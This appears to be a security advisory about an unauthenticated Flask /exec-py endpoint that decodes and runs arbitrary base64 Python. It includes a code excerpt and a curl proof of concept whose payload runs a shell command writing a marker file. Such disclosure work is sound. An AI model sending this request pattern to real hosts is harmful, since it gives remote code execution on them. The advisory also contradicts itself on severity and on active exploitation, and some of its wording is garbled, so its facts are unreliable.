Summary
An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.
Details
The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
code = base64.urlsafe_b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executed
PoC
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
#
# Base64 string represents the identical payload block above:
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker
Impact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
